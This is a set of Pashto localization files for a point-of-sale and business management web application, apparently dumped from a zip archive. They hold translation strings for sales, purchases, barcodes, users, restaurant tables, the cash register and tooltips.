پلور وګورئ </b> اجازه لازمي ده که نه نو دا به یوازې د ثبت شوي کارونکي لخوا رامینځته شوي پلور سره فلټر شي', 'access_pending_shipments_only' => 'یوازې منتظر کښتیو ته لاسرسی', 'access_all_sell_return' => 'د پلور ټول بیرته راستنول ته لاسرسی', 'access_own_sell_return' => 'د خپل پلور بیرته راستنیدو ته لاسرسی', 'proforma_heading' => 'د پروفاورما رسید سرلیک', 'tooltip_proforma_heading' => 'پیرودونکو ته د پروفارما چمتو کولو پرمهال د پروفارما انوائس سرلیک کارول کیږي.', 'line_taxes' => 'د کرښې مالیه', 'add_additional_expenses' => 'اضافي لګښتونه اضافه کړئ', 'additional_expense_name' => 'د اضافي لګښت نوم', 'purchase_additional_expense' => 'اضافي لګښتونه واخلئ', 'qr_code' => 'د QR کوډ', 'show_qr_code' => 'د QR کوډ ښودل', 'fields_to_be_shown' => 'ساحې باید وښودل شي', 'business_location_address' => 'د سوداګرۍ موقعیت پته', 'business_tax_1' => 'د سوداګرۍ مالیه 1', 'business_tax_2' => 'د سوداګرۍ مالیه 2', 'invoice_datetime' => 'د رسید نیټه وخت', 'total_amount_with_tax' => 'ټوله مالیه سره پیسې', 'total_bank_transfer' => 'د ټول بانک لیږد', 'total_advance_payment' => 'مجموعي پرمختللي تادیات', 'commission_agent_label' => 'د کمېسیون اجنټ لیبل', 'show_commission_agent' => 'د کمیسیون اجنټ وښایاست', 'cannot_change_role' => 'رول نشي بدلولی', 'cr' => 'CR', 'dr' => 'DR', 'payment_link' => 'د تادیې لینک', 'enable_payment_link' => 'د تادیې لینک فعال کړئ', 'payment_link_help_text' => 'د کاروونکو فعالولو سره کولی شي د تادیې لینک په کارولو سره انوائس تادیه کړي', 'invoice_payment' => 'د انوائس تادیه', 'payment_for_invoice_no' => 'د انوائس نمبر لپاره تادیه', 'pending_shipments' => 'د بار وړلو بار وړل', 'sources' => 'سرچینې', 'stripe_secret_key' => 'پټه پټه کلیمه', 'stripe_public_key' => 'پټه عامه کلید', 'edit_opening_balance' => 'د خلاصیدو بیلانس ترمیم کړئ', 'edit_fund_transfer' => 'د فنډ لیږد سمول', 'edit_deposit' => 'د امانت زیرمه', 'deposit_to' => 'ته زیرمه', 'transfer_from' => 'له دې څخه لیږدول', 'edit_account_transaction' => 'د حساب راکړه ورکړه ایډیټ کړئ', 'delete_account_transaction' => 'د حساب راکړه ورکړه حذف کړئ', 'add_purchase_payment' => 'د پیرود تادیه اضافه کړئ', 'edit_purchase_payment' => 'د پیرود تادیات ترمیم کړئ', 'delete_purchase_payment' => 'د پیرود تادیات حذف کړئ', 'add_sell_payment' => 'د پلور تادیه اضافه کړئ', 'edit_sell_payment' => 'د پلور تادیات ترمیم کړئ', 'delete_sell_payment' => 'د پلور تادیه حذف کړئ', 'sales_order_heading' => 'د پلور امر سرلیک', 'account_balance' => 'د حساب بیلانس', 'total_balance' => 'ټول بیلانس', 'account_balance_tooltip' => 'د ځانګړي حساب ټول بیلانس', 'total_balance_tooltip' => 'د ټولو حسابونو ټول بیلانس', 'sell_additional_expense' => 'اضافي لګښتونه وپلورئ', 'view_export_buttons' => 'په میزونو کې بټونو (csv/excel/print/pdf) ته صادرات وګورئ', 'overall' => 'په ټولیز ډول', 'show_labels' => 'لیبلونه وښایاست', 'zatca_qr' => 'ZATCA (فاتورا) QR کوډ', 'zatca_qr_help' => 'د سعودي عربستان لپاره', 'customer_irrespective_of_sell' => 'پیرودونکي وګورئ پرته لدې چې د دوی پلور وي', 'img_url_help_text' => 'یا د انځور URL', 'delivery_person' => 'دلیوری ګټ', 'enable_service_staff_pin' => 'خدمت کارانو پین فعال کړئ', 'staff_pin' => 'کارکونو پین', 'tooltip_is_enable_service_staff_pin' => 'که فعال شوی، پخچې خرڅلاو/POS وخته دغه کارن د خدمت کارونو لپاره د پین داخل کولو په اړه نومې دي، ناسم د پین به داخلولو دغه کارن نه اجازه دي چې د خدمت کار په ګوند کاريږي.', 'kitchen_order' => 'آشپزخانه داخلول', 'kitchen_order_tooltip' => 'په دغه اختیار چی ستایش شوی په صرف د مطبخ ته زده کړی', 'disable_quotation' => 'غواړی غورځول', 'disable_card' => 'کارت غواړی غورځول', 'assigned_to' => 'غیر مختصر شوی', 'has_no_sell_from' => 'د لکه چې پلور شوی نه لري', 'delivery_note' => 'د پیرل یادښت', 'above_mentioned_items_received_in_good_condition' => 'د پښتو بندګان چې په ښه حالت کې مونږ ته راغلۍ شوې', 'received_by' => 'له لارې ملرې', 'enter_details_below_to_check_repair_status' => 'د ترمیم وضعیت چیک کولو لپاره لاندې معلومات دننه کړئ', 'search_by' => 'لټول له' ]; PK G �Z5]��D D ps/barcode.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'barcodes' => 'بارکوډ', 'barcode_settings' => 'د بارکوډ ترتیبونه', 'manage_your_barcodes' => 'ستاسو د بارکوډ ترتیبونه اداره کړئ', 'all_your_barcode' => 'ستاسو ټول د بارکوډ ترتیبونه', 'setting_name' => 'د شاتړ پاڼې د ترتیب نوم', 'setting_description' => 'د شاتړ پاڼې د ترتیب تفصیل', 'added_success' => 'د بارکوډ ترتیب په بریالیتوب سره اضافه شو', 'updated_success' => 'د بارکوډ ترتیب په بریالیتوب سره تازه شو', 'deleted_success' => 'د بارکوډ ترتیب په بریالیتوب سره پاک شو', 'add_new_setting' => 'نوی ترتیب اضافه کړئ', 'add_barcode_setting' => 'د بارکوډ سټیکر ترتیبول اضافه کړئ', 'edit_barcode_setting' => 'د بارکوډ د سټیکر سمولو ترتیب', 'in_in' => 'په انچو', 'width' => 'د سټیکر بروالی', 'height' => 'د سټیکر جګوالی', 'top_margin' => 'اضافي لوړ پوړ', 'left_margin' => 'اضافي چپه پوړ', 'row_distance' => 'د دوو قطارونو ترمنځ فاصله', 'col_distance' => 'د دوو کالمونو ترمنځ فاصله', 'blank_stickers' => 'خالي سټیکرونه', 'stickers_in_one_row' => 'سټیکرونه په یوه قطار کي', 'delete_confirm' => 'دا ترتیب به پاک شي \n تاسو ډاډه یاست؟', 'set_as_default' => 'د همیشه په توګه وټاکه', 'default' => 'همیشه', 'default_set_success' => 'همیشه په بریالیتوب سره وټاکل شو', 'stickers_in_one_sheet' => 'په هر پاڼه کې د سټیکرونو شمیر', 'is_continuous' => 'دوامدار چاپ یا رولونه', 'products' => 'محصولات', 'no_of_labels' => 'د لیبل شمیر', 'info_in_labels' => 'معلومات په لیبل کې وښودل شي', 'print_name' => 'د محصول نوم', 'print_variations' => 'د محصول تغیرات (سپارښتنه)', 'print_price' => 'د محصول قیمت', 'show_price' => 'نرخ ښکاره کړئ', 'preview' => 'وړاندې کول', 'print_business_name' => 'تجارتي نوم', 'barcode_setting' => 'د بارکوډ ترتیب', 'paper_width' => 'د کاغذ بروالي', 'paper_height' => 'د کاغذ جګوالي', 'print_labels' => 'چاپ لیبلونه', 'labels' => 'لیبلونه', ]; PK G �ZE��� � ps/user.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Business Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during registration of a business. | */ 'edit_profile' => 'د پیژندڅیره سمول', 'change_password' => 'پټ نوم بدل کړی', 'current_password' => 'اوسنی پټ نوم', 'new_password' => 'نوئ پټ نوم', 'confirm_new_password' => 'نوی پټ نوم تایید کړئ', 'user_management' => 'د کارن مدیریت', 'roles' => 'رولونه', 'users' => 'کارنان', 'manage_roles' => 'رولونه اداره کړئ', 'all_roles' => 'ټول رولونه', 'add_role' => 'رول اضافه کړئ', 'role_name' => 'د رول نوم', 'permissions' => 'اجازه', 'role_added' => 'رول په بریالیتوب سره اضافه شو', 'role_already_exists' => 'د ورته نوم سره رول لا دمخه شتون لري', 'edit_role' => 'د رول سمول', 'role_updated' => 'رول په بریالیتوب سره تازه شو', 'role_deleted' => 'رول په بریالیتوب سره پاک شو', 'manage_users' => 'کاروونکی اداره کړئ', 'all_users' => 'ټول کاروونکي', 'name' => 'نوم', 'role' => 'رول', 'add_user' => 'کارن اضافه کړئ', 'user_added' => 'کارن په بریالیتوب سره اضافه شو', 'role_is_default' => 'تاسو نشي کولی دا رول بدل کړئ', 'edit_user' => 'د کارن سمول', 'leave_password_blank' => 'د پټ نوم ځای خالي پریږدي که چیرې تاسو نه غواړئ پټ نوم د اوسمهال لپاره تازه شی', 'user_update_success' => 'کارن په بریالیتوب سره تازه شو', 'user_delete_success' => 'کارن په بریالیتوب سره پاک شو', ]; PK G �Z�* w w ps/restaurant.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Restaurant Language Lines |-------------------------------------------------------------------------- */ 'restaurant' => 'رستورانت', 'tables' => 'میزونه', 'table' => 'میز', 'manage_your_tables' => 'د رستوران میزونه اداره کړئ', 'all_your_tables' => 'د رستورانت ټول میزونه', 'description' => 'تفصیل', 'add_table' => 'میز اضافه کړئ', 'edit_table' => 'د میز سمول', 'table_name' => 'میز نوم', 'short_description' => 'لنډ معلومات', 'select_table' => 'میز انتخاب کړئ', 'show_table' => 'میز ښودل', 'table_label' => 'د میز لیبل', 'show_service_staff' => 'خدمتې کارمندان ښکاره کړئ', 'service_staff_label' => 'خدمتې کارمندانو لیبل', 'select_waiter' => 'ویټر انتخاب کړئ', 'modifiers' => 'بدلونونه', 'modifier_sets' => 'د بدلولو سیټونه', 'manage_your_modifiers' => 'د رستورانت ټول بدلونونه اداره کړئ', 'all_your_modifiers' => 'ټول اصالحات', 'add_modifier' => 'بدلول اضافه کړئ', 'modifier_set' => 'د بدلولو سیټ', 'modifier' => 'بدلونونه', 'edit_modifier' => 'د بدلولو سمول', 'manage_products' => 'محصولات اداره کړئ', 'products' => 'محصولات', 'modifiers_for_product' => 'د محصولاتو لپاره بدلونونه', 'kitchen' => 'پخلنځي', 'mark_as_cooked' => 'نښه کړی چې پوخ شوی', 'manage_your_kitchen' => 'خپل پخلنځی اداره کړئ', 'all_orders' => 'ټول امرونه', 'order_no' => 'د امر نمبر', 'order_statuses' => [ 'received' => 'ترلاسه شوی', 'cooked' => 'پوخ شوی', 'served' => 'خدمت شوی', '' => 'ترلاسه شوی', ], 'order_successfully_marked_cooked' => 'امر په بریالیتوب سره د پخلی په توګه نښه شوی', 'order_successfully_marked_served' => 'امر په بریالیتوب سره د خدمت په توګه نښه شوی', 'orders' => 'امرونه', 'manage_your_orders' => 'خپل امرونه اداره کړئ', 'all_your_orders' => 'ستاسو ټول امرونه', 'mark_as_served' => 'د خدمت په توګه نښه کړئ', 'placed_at' => 'په نښه شوي', 'order_status' => 'د امر حالت', 'order_details' => 'د امر تفصیلات', 'refresh' => 'تازه کړئ', 'no_orders_found' => 'هیڅ امر ندی موندل شوی', 'select_service_staff' => 'د خدمتې کارمندانو غوره کول', 'service_staff' => 'خدمتې کارمندان', 'kitchen_for_restaurant' => 'پخلنځي (د رستوران لپاره)', 'products_for_modifier' => 'محصولات د بدلون لپاره', 'is_service_staff' => 'آیا خدمتې کارمندان', 'tooltip_tables' => 'زياتره په رستورانونو، بارونو، صالونونو او نورو کې کارول کيږي', 'tooltip_modifiers' => 'اضافي توکي د اصلي محصول سره اضافه شوي<br>بېلګې په توګه:کریم, پنیر', 'tooltip_service_staff' => 'هغه چا چې پیرودونکو ته نامزد خدمت وړاندې کوي<br> بېلګې په توګه: په رستوران کې کارمندانو ته انتظار کول، په سالون کې د سلمان', 'modules_settings' => 'د موډلونو ترتیبونه', 'bookings' => 'بُکینګونه', 'add_edit_view_all_booking' => 'اضافه/سمول/ټول بُکینګونه وګورئ', 'add_edit_view_own_booking' => 'اضافه/سمول/ټول پخپل بُکینګونه وګورئ', 'add_booking' => 'نوی بُکینګ اضافه کړئ', 'start_time' => 'شروع وخت', 'end_time' => 'ختم وخت', 'booking_not_available' => 'میز دمخه بُک شوی <b>:customer_name</b> تر منځ <b>:booking_time_range</b>', 'select_correspondent' => 'خبریال وټاکئ', 'send_notification_to_customer' => 'پیرودونکو ته د بریښناليک / پیغام خبرتیا واستوی', 'booking_details' => 'بُکینګ تفصيلات', 'correspondent' => 'مرکه کونکي', 'booking_starts' => 'بُکینګ شروع کیږي', 'booking_ends' => 'بُکینګ ختمیږي', 'cancelled' => 'لغوه شوی', 'completed' => 'بشپړ شوی', 'change_booking_status' => 'د بُکینګ حالت بدل کړئ', 'booked' => 'بُک شوی', 'delete_booking' => 'بُکینګ پاک کړئ', 'click_on_any_booking_to_view_or_change_status' => 'په هر بُکینګ باندې کلیک وکړئ چې جزییات وګورئ یا حالت بدل کړئ', 'double_click_on_any_day_to_add_new_booking' => 'دوه ځله کلک وکړئ په هره ورځ چې نوی بُکینګ اصافه کړئ', 'todays_bookings' => 'د نن ورځې بُکینګ', 'hello_name' => 'سلام :name!', 'booking_confirmed' => 'ستاسو بُکینګ تصدیق شوی', 'table_info' => 'Table: :table', 'booking_time_info' => 'له :from ته :to', 'new_booking_subject' => 'نوی بُکینګ - :business_name', 'customer_note' => 'د ګیراک یادښت', 'table_report' => 'میز راپور', 'service_staff_report' => 'خدمتې کارمندانو راپور', 'service_staff_replacement' => 'د خدمتونو کې اوړندول', ]; PK G �Z37)� � ps/purchase.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Purchase Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Purchase screens | */ 'supplier' => 'عرضه کوونکي', 'ref_no' => 'حواله نمبر', 'business_location' => 'د سوداګری ځای', 'purchases' => 'خریدارۍ', 'add_payment' => 'تادیه اضافه کړئ', 'edit_payment' => 'د تادیې سمول', 'view_payments' => 'تادیات وګورئ', 'amount_already_paid' => 'پیسې مخکې له مخکې ورکړل شوې', 'payment_added_success' => 'تادیه په بریالیتوب سره اضافه شوه', 'payment_updated_success' => 'تادیه په بریالیتوب سره تازه شوه', 'payment_deleted_success' => 'تادیه په بریالیتوب سره پاکه شوه', 'view_payments' => 'تادیات وګورئ', 'amount' => 'مقدار', 'payment_method' => 'د تادیاتو میتود', 'no_records_found' => 'هیڅ ریکارډ ونه موندل شو', 'payment_due' => 'د تادیه ورکړه', 'purchase_total' => 'د خریدارۍ مجموعه', 'location' => 'ځای', 'payment_note' => 'د تادیاتو یادداشت', 'all_purchases' => 'ټولې خریدارۍ', 'purchase_status' => 'د خریدارۍ حالت', 'payment_status' => 'د تادیاتو حالت', 'grand_total' => 'ستره مجموعه', 'add_purchase' => 'خریداری اضافه کړئ', 'purchase_date' => 'د خریدارۍ نیټه', 'purchase_quantity' => 'د د خریدارۍ مقدار', 'unit_cost_before_tax' => 'د واحد لګښت (د مالیې دمخه)', 'subtotal_before_tax' => 'فرعي مجموعه (د مالیې دمخه)', 'product_tax' => 'د محصول مالیه', 'net_cost' => 'خالص مصرف', 'line_total' => 'د قلمو مجموعه', 'unit_selling_price' => 'د واحد د پلور بیه', 'total_before_tax' => 'د مالیې څخه مخکې مجموعه', 'net_total_amount' => 'خالص د مقدار مجموعه', 'discount_type' => 'د رعایت ډول', 'discount_amount' => 'د رعایت مقدار', 'discount' => 'رعایت', 'edit_purchase' => 'د خریدارۍ سمول', 'purchase_tax' => 'د خریدارۍ مالیه', 'shipping_details' => 'د لیږد معلومات', 'additional_shipping_charges' => 'د اضافي لیږد مصاریف', 'purchase_total' => 'د خریدارۍ مجموعه', 'additional_notes' => 'اضافي یادداشت', 'purchase_add_success' => 'خریداری په بریالیتوب سره اضافه شوه', 'purchase_update_success' => 'خریداری په بریالیتوب سره تازه شوه', 'purchase_details' => 'د خریدارۍ معلومات', 'unit_cost_after_tax' => 'د واحد د مصرف بیه (د مالیې څخه وروسته)', 'total_after_tax' => 'د مالیې څخه ورسته مجموعه', 'no_payments' => 'هیڅ تادیه ونه موندل', 'allow_purchase_different_currency' => 'په نورو اسعارو کې خریدارۍ', 'purchase_currency' => 'د خریدارۍ اسعار', 'p_exchange_rate' => 'د اسعارو تبادله نرخ', 'diff_purchase_currency_help' => 'د خریدارۍ اسعار غوره شو و <strong> :currency </strong>', 'list_purchase' => 'د خریدارۍ لیست', 'attach_document' => 'اسناد ضمیمه کړئ', 'download_document' => 'اسناد کښته کړئ', 'max_file_size' => 'Max File size: :sizeMB', ]; PK G �Z2�K ps/business.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Business Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during registration of a business. | */ 'register_and_get_started_in_minutes' => 'راجستر او په دقیقو کې پیل کړئ', 'business_name' => 'د سوداګرۍ نوم', 'start_date' => 'د شروع تاریخ', 'currency' => 'اسعار', 'currency_placeholder' => 'د اسعارو انتخاب', 'upload_logo' => 'لوګو پورته کړئ', 'country' => 'هیواد', 'state' => 'ولایت', 'city' => 'ښار', 'zip_code' => 'زیپ کوډ', 'zip_code_placeholder' => 'زیپ / پوستی کوډ', 'landmark' => 'آدرس', 'tax_1_name' => 'مالیه ۱ نوم', 'tax_1_no' => 'مالیه ۱ شمیره', 'tax_2_name' => 'مالیه ۲ نوم', 'tax_2_no' => 'مالیه ۲ شمیره', 'tax_1_placeholder' => 'د توکو او خدماتو مالیه / د ارزښت اضافی مالیه / نور', 'prefix' => 'وړاندې ټاکل', 'prefix_placeholder' => 'ښاغلی / اغلی / اغلی', 'first_name' => 'لمړی نوم', 'last_name' => 'تخلص', 'username' => 'کارن نوم', 'email' => 'برېښنالیک', 'password' => 'پاسورډ', 'confirm_password' => 'پاسورډ تایید کړه', 'register' => 'راجستر', 'business' => 'سوداګری', 'address' => 'آدرس', 'logo_help' => 'پخوانۍ لوګو (که شتون ولري) به بدل شي', 'update_settings' => 'ترتیبونه تازه کول', 'business_settings' => 'سوداګریز ترتیبونه', 'settings_updated_success' => 'ترتیبونه په بریالیتوب سره تازه شو', 'default_profit_percent' => 'همیشه د ګټې فیصدی', 'default_sales_tax' => 'همیشه د خرڅلاو مالیه', 'default_sales_discount' => 'د همیشه خرڅلاو رعایت', 'business_details' => 'د سوداګرۍ تفصيلات', 'tax' => 'مالیه', 'tax_details' => 'د مالیاتو تفصیلات', 'owner' => 'مالک', 'owner_info' => 'د مالک معلوماتو', 'sale' => 'خرڅلاو', 'sell_price_tax' => 'د پلور نرخ', 'product' => 'محصول', 'sku_prefix' => 'د ذخیره کولو څانګه مخکی ټاکل', 'language' => 'ژبه', 'time_zone' => 'د وخت زون', 'months' => [ 1 => 'جنوري', 2 => 'فبروري', 3 => 'مارچ', 4 => 'اپریل', 5 => 'می', 6 => 'جون', 7 => 'جولای', 8 => 'اګسټ', 9 => 'سیپټمبر', 10 => 'اوکټوبر', 11 => 'نومبر', 12 => 'ډیسمبر', ], 'fy_start_month' => 'د مالي کال د پیل میاشت', 'accounting_method' => 'د سټاک حساب ورکولو طریقه', 'fifo' => 'لومړی راغلی لومړی وتل', 'lifo' => 'ورستی راغلی لومړی وتل', 'business_locations' => 'د سوداګرۍ ځایونه', 'business_location' => 'د سوداګرۍ ځای', 'manage_your_business_locations' => 'د سوداګریزو ځایونو اداره کول', 'all_your_business_locations' => 'ستاسو ټول سوداګریز ځایونه', 'add_business_location' => 'د نوې سوداګرۍ ځای وټاکئ', 'business_location_added_success' => 'د سوداګرۍ ځای په بریالیتوب سره زیات شو', 'edit_business_location' => 'د سوداګرۍ ځای سمول', 'business_location_updated_success' => 'د سوداګرۍ ځای په بریالیتوب سره تازه شو', 'location' => 'ځای', 'already_registered' => 'له مخکي نه ثبت شوي؟', 'sign_in' => 'ننوزئ', 'not_yet_registered' => 'تراوسه ثبت شوی نه دی؟', 'register_now' => 'اوس ې ثبت کړه', 'system' => 'سیسټم', 'show_help_text' => 'د مرستې متن ښودل', 'mobile' => 'ګرځنده ټیلیفون', 'alternate_number' => 'د متبادل تماس شمیره', 'email' => 'بریښنالیک', 'settings' => 'ترتیبونه', 'transaction_edit_days' => 'د راکړې ورکړې ورځې سمول', 'dashboard' => 'ډشبورډ', 'view_stock_expiry_alert_for' => 'د سټاک د تاریخ ختمیدو لپاره', 'days' => 'ورځې', 'system_settings' => 'د سیسټم ترتیبونه', 'add_keyboard_shortcuts' => 'د کیبورډ شارټ کټونه زیات کړئ', 'operations' => 'عملیات', 'keyboard_shortcut' => 'د کیبورډ شارټ کټ', 'business_created_succesfully' => 'سوداګرې په بریالیتوب سره جوړه شوه !!', 'tax_number1' => 'مالیه نمبر ۱', 'tax_number2' => 'مالیه نمبر ۲', 'is_active' => 'فعال', 'created_by' => 'جوړ شوی په', ]; PK G �Z�V�� � ps/cash_register.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Cash Register Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Cash Register CRUD operations. | */ 'cash_register' => 'د پیسو راجیستر', 'manage_your_cash_register' => 'د پیسو راجسترونه اداره کړئ', 'all_your_cash_register' => 'ټول د پیسو راجیسترونه', 'cash_in_hand' => 'نغدي پيسې په لاس کې', 'open_cash_register' => 'د بیسو راجیستر خلاص کړئ', 'enter_amount' => 'مقدار ولیکئ', 'open_register' => 'راجیستر خلاص کړئ', 'register_details' => 'د راجیستر معلوماتو', 'cash_payment' => 'د نغدو پیسو سودا', 'checque_payment' => 'په چیک سودا', 'card_payment' => 'د بانک په کارت سودا', 'bank_transfer' => 'بانکي لیږد', 'other_payments' => 'نور ډوله سوداوې', 'total_sales' => 'ټول خرڅلاو', 'total_cash' => 'ټول نغدي پیسې', 'current_register' => 'اوسنۍ راجستر', 'close_register' => ' راجستر وتړئ', 'total_card_slips' => 'د بانکي کارت ټول اسناد', 'total_cheques' => 'ټول چیکونه', 'closing_note' => 'تړل یادداشت', 'close_success' => 'راجیستر په بریالیتوب سره وتړل شو', 'open' => 'خلاص کړئ', 'close' => 'وتړئ', 'total_refund' => 'ټول واپسی', 'refunds' => 'واپسۍ', ]; PK G �Z�j���+ �+ ps/tooltip.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Tooltip Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for various help texts. | */ 'product_stock_alert' => "محصولات د ټیټ سټاک سره.<br/><small class='text-muted'>د محصول خبرتیا مقدار پر بنسټ د محصول پرده اضافه کړئ.<br> د سټاک له ختم څخه دمخه دا محصول واخلئ.</small>", 'payment_dues' => ".د خریدارۍ تادیه پاته ده <br/><small class='text-muted'>د عرضه کونکي د پیسو د ورکړي اصطلاح پر بنسټ. <br/> هغه پیسې چې په ۷ ورځو یا لږو کې ورکول کیږي.</small>", 'input_tax' => 'د ټاکل شوي وخت په موده کې د خرڅلاو په اړه ټوله مالیه راغونډ شوې.', 'output_tax' => 'د ټاکل شوي وخت په موده کې د خریدارۍ په اړه ټوله مالیه ورکړل شوی.', 'tax_overall' => 'د ټولو مالیاتو تر منځ توپیر چې راټول شوې دی او د ټاکل شوي وخت په موده کې ورکړل شوي ټول مالیه.', 'purchase_due' => 'د خریدارۍ ټولو پیسو مقدار چې ندی ورکړ شوی.', 'sell_due' => 'د خرڅلاو ټولو پیسو مقدار چي ترلاسه شی.', 'over_all_sell_purchase' => '-ve value = Amount to pay <br>+ve Value = Amount to receive', 'no_of_products_for_trending_products' => 'د غوره تیریدو محصولاتو شمیر چې په لاندې چارټ کې پرتله کیدی شي.', 'top_trending_products' => "ستاسو د دکان غوره د محصولاتو خرڅلاو. <br/><small class='text-muted'>د فلټر پلي کولو لپاره د ځانګړو کټګورۍ لپاره سوداګریزې محصوللات پیژني، برانډ، د سوداګرۍ ځای او داسی نور.</small>", 'sku' => "د ځانګړو محصولاتو یا د سټاک ساتلو واحد <br><br>دا خالي پریږدی چې په اوتومات ډول SKU تولید کړي.<br><small class='text-muted'>تاسو کولی شئ د سوداګرۍ ترتیبونو کې د SKU مخفف بدل کړئ.</small>", 'enable_stock' => "د محصول لپاره د سټاک اداره فعال یا غیر فعال کول. <br><br><small class='text-muted'>د سټاک اداره باید د خدماتو لپاره غیر فعال شي. د بېلکې په توګه: و ویښتانو پریکول، ترمیم، او داسی نور.</small>", 'alert_quantity' => "لارښوونه ترلاسه کړئ کله چې د محصول ذخیره د ټاکل شوې مقدار لاندې راځي یا لاندې شي.<br><br><small class='text-muted'>د ټیټ سټاک محصولات د ډشبورډ په برخه کې ښودل کیږي - د محصول د سټاک خبرتیا برخه.</small>", 'product_type' => '<b>یو محصول</b>: محصول کوم توپیر نلري. <br><b>متغیر محصول</b>: محصول د مختلفو بدلونونو سره لکه سائز، رنګ او نور.', 'profit_percent' => "د محصول لپاره د همیشه ګټو حد. <br><small class='text-muted'>(<i>تاسو کولی شئ د سوداګرۍ په ترتیبونو کې د همیشه ګټې حد اداره کړئ.</i>)</small>", 'pay_term' => "پیسې باید د ورکړل شوي وخت په موده کې د خریدارۍ / خرڅولو لپاره ورکړل شي.<br/><small class='text-muted'>ټول راتلونکی یا پاته پیسې به په ډشبورډ کې وښودل شي - د تادیاتو پاته برخه</small>", 'order_status' => 'د دې خریدارۍ محصولات به یوازې د خرڅولو لپاره چمتو وي کله چې <b>حالت ی</b> دی <b>توکي ترلاسه شوي</b>.', 'purchase_location' => 'د سوداګرۍ ځای چېرې د خریدارۍ محصول به د خرڅولو لپاره چمتو وي.', 'sale_location' => 'د سوداګرۍ ځای چېرې چې تاسو غواړئ خرڅول وکړئ', 'sale_discount' => "وټاکی 'د هیمشه خرڅولو رعایت' د ټولو خرڅولو لپاره په سوداګری ترتیبونو کې. د رعایت / اضافه کولو تازه کولو لپاره لاندې د سمولو تڼۍ باندې کلیک وکړئ.", 'sale_tax' => "وټاکی 'د همیشه خرڅولو مالیه' د ټولو خرڅولو لپاره په سوداګری ترتیبونو کې. د امر مالیه / اضافه کولو تازه کولو لپاره لاندې د سمولو تڼۍ باندې کلیک وکړئ.", 'default_profit_percent' => "د یوه محصول همیشه د ګټې حد. <br><small class='text-muted'>د خریدارۍ نرخ پر اساس د خرڅولو نرخ محاسبه کول.<br/> تاسو کولی شئ دا ارزښت د انفرادي محصولاتو لپاره پداسې حال کې بدل کړئ کله چې اضافه کوئ</small>", 'fy_start_month' => 'ستاسو د سوداګرۍ لپاره د مالي کال د میاشتی پیل کول', 'business_tax' => 'ستاسو د سوداګرۍ لپاره ثبت شوي مالیې شمیره.', 'invoice_scheme' => "د رسید پلان معنا د رسید د نمبرو بڼه. د دې سوداګرۍ ځای لپاره د رسید کارولو پلان غوره کول<br><small class='text-muted'><i>تاسو کولی شئ د نوي رسید پلان اضافه کړئ</b> د رسید په ترتیبونو کې</i></small>", 'invoice_layout' => "د دې سوداګرۍ ځای لپاره د رسید بڼه کارول کیږي<br><small class='text-muted'>(<i>تاسو کولی شئ نوي کړئ <b>د رسید بڼه</b> په <b>د رسید په ترتیبونو کې<b></i>)</small>", 'invoice_scheme_name' => 'د رسید پلان لپاره لنډ معنی داره نوم ورکړئ.', 'invoice_scheme_prefix' => 'د رسید پلان وړاندې وټاکې<br>وړاندې یو دودیز متن یا اوسنی کال کیدی شي. د بېلګې په توګه: #XXXX0001, #2018-0002', 'invoice_scheme_start_number' => "د رسید شمیرې لپاره د پیل شمیره. <br><small class='text-muted'>تاسو کولی شئ دا ۱ یا کوم بل شمېره چې له شمیري به یې پیل شي.</small>", 'invoice_scheme_count' => 'د رسید پلان لپاره تولید شوي رسید مجموعي شمیر', 'invoice_scheme_total_digits' => 'د رسید وړاندې پرته د رسید نمبر اوږدوالی', 'tax_groups' => 'د ډلې مالیې نرخونه - پورته تشریح شوي، د خریدارۍ / خرڅلاو برخو کې د ګډولو لپاره کارول کیږي.', 'unit_allow_decimal' => 'ټکئ تاسو ته اجازه درکوي ترڅو اړونده محصولات په فرعی برخو کې خرڅ کړئ.', 'print_label' => 'محصولات اضافه کړئ ->د لیبل په ښودلو کې معلومات غوره کړئ -> د بارکوډ ترتیب انتخاب کړئ -> لیبلونه وړاندي وګورئ -> چاپ', 'expense_for' => 'هغه کارن غوره کړئ چې کوم مصاریف ورسره تړاو لري. <i>(Optional)</i><br/><small>د بېلګې په توګه: د یوه کارمند معاش.</small>', 'all_location_permission' => 'کله چې <b>ټول ځایونه</b> دا رول به غوره کړي د ټولو سوداګریزو ځایونو ته د لاسرسۍ اجازه به ولري', 'dashboard_permission' => 'که چیرته ناباوره وی نو بیا یواځې د ښه راغلاست پیغام په کور کې وښودل شي.', 'access_locations_permission' => 'ټول ځایونه وټاکئ چې دا رول لاس رسی ورته ولري. د ټاکل شوې ځای ټولې ډاټا یواځې کاروونکي ته ښودل کیږي.<br/><br/><small>د مثال په توګه: تاسو کولی شئ د دې تعریف څخه کار واخلئ <i>د دکان مدیر / کیشیر / ګودامچی، تحویلدار / د څانګې مدیر, </i>د ځانګړي ځای.</small>', 'print_receipt_on_invoice' => 'فعالول یا غیر فعالول د رسید اتومات چاپ په وروستيو کې', 'receipt_printer_type' => '<i>د لټونر پر بنسټ چاپ</i>: د رسید د بیاکتنې لپاره په لټونر کې د چاپ ډیالوګ بکس ښکاره کړئ <br/><br/> <i> د رسید جوړ شوي چاپګر وکاروئ</i>: د چاپ لپاره د جوړ شوي رسید / ترمام چاپګر انتخاب کړئ', 'adjustment_type' => '<i>عادي</i>: د عادی وجهو لپاره ترتیب کول لکه سوری/پری شوي، خراب شوي او نور. <br/><br/> <i>غیر عادي</i>: د غیر عادي وجهو لپاره ترتیب لکه اور ، حادیثه او نور.', 'total_amount_recovered' => 'د بیمې څخه یا د زړو توکو خرڅولو څخه او یا د نورو لارو څخه پیسې لاسته راغلي', 'express_checkout' => 'نښه کړئ بشپړه پیسې او چک اوټ کړئ', 'total_card_slips' => 'په دې راجستر کې کارول شوي د کارت پیسو شمیر', 'total_cheques' => 'په دې راجستر کې کارول شوي چکونو شمیر', 'capability_profile' => 'د حکمونو او کوډ پاڼو لپاره ملاتړ د پرنټر پلورونکو او ماډلونو 